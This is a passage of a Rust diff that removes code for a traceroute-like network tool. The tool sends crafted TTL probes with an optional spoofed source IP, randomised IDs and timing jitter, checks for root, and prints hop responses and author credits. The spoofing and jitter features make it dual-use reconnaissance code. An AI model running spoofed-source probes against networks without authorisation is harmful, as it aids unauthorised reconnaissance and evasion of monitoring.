src_ip_override_opt: Option = SPOOF_SRC_IP_CONFIG.and_then(|s| s.parse().ok()); - - - for ttl_val in 1..=MAX_TTL { - let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string(); - let mut ttl_responded = false; - - for _probe_idx in 0..PROBE_COUNT { - // Scope RNG to avoid holding it across await - let (icmp_probe_id, packet_bytes, protocol_used, os_sig_params) = { - let mut rng = rand::rng(); - let icmp_probe_id = rng.random_range(33434..=65535); - let icmp_probe_seq = ttl_val as u16; - - let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet( - dst_ip, - ttl_val, - src_ip_override_opt, - icmp_probe_id, - icmp_probe_seq, - )?; - (icmp_probe_id, packet_bytes, protocol_used, os_sig_params) - }; - - let _t0 = Instant::now(); - let response = send_and_receive_one( - dst_ip, - &packet_bytes, - protocol_used, - os_sig_params.id, - icmp_probe_id, - ttl_val as u16, - Duration::from_secs(2), - ).await?; - - if let Some(res) = response { - ttl_responded = true; - let rtt_str = format!("{:.1}ms", res.rtt_ms); - - print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white()); - print!("{} ", res.icmp_info.description); - println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str); - - if res.source_ip == dst_ip { - if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 || - (res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) { - println!("{}", format!("[+] Target reached: {}", res.source_ip).green()); - return Ok(()); - } - } - } - - let jitter_duration = { - let mut rng = rand::rng(); // New RNG for jitter - rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1) - }; - tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await; - } - - if !ttl_responded { - println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold()); - } - } - - Ok(()) -} - -pub async fn run(target: &str) -> Result<()> { - let mut user_input = String::new(); - print!("Are you running this as sudo? (yes/no): "); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - std::io::stdin() - .read_line(&mut user_input) - .context("Failed to read input")?; - - if user_input.trim().to_lowercase() == "yes" { - // Safe wrapper for geteuid - it's a simple system call that cannot fail - let euid = unsafe { libc::geteuid() }; - if euid != 0 { - println!("don't lie"); - std::process::exit(1); - } - } else if user_input.trim().to_lowercase() == "no" { - println!("Please run this script as sudo."); - std::process::exit(1); - } else { - println!("Invalid input. Exiting."); - std::process::exit(1); - } - - println!("by suicidalteddy"); - println!("github.com/s-b-repo"); - println!("medium.com/@suicdalteddy/about"); - - if target.is_empty() { - bail!("No target provided."); - } - - execute_traceroute(target).await.map_err(|e| { - eprintln!("{}", format!("[-] Error: {}", e).red()); - e - }) -}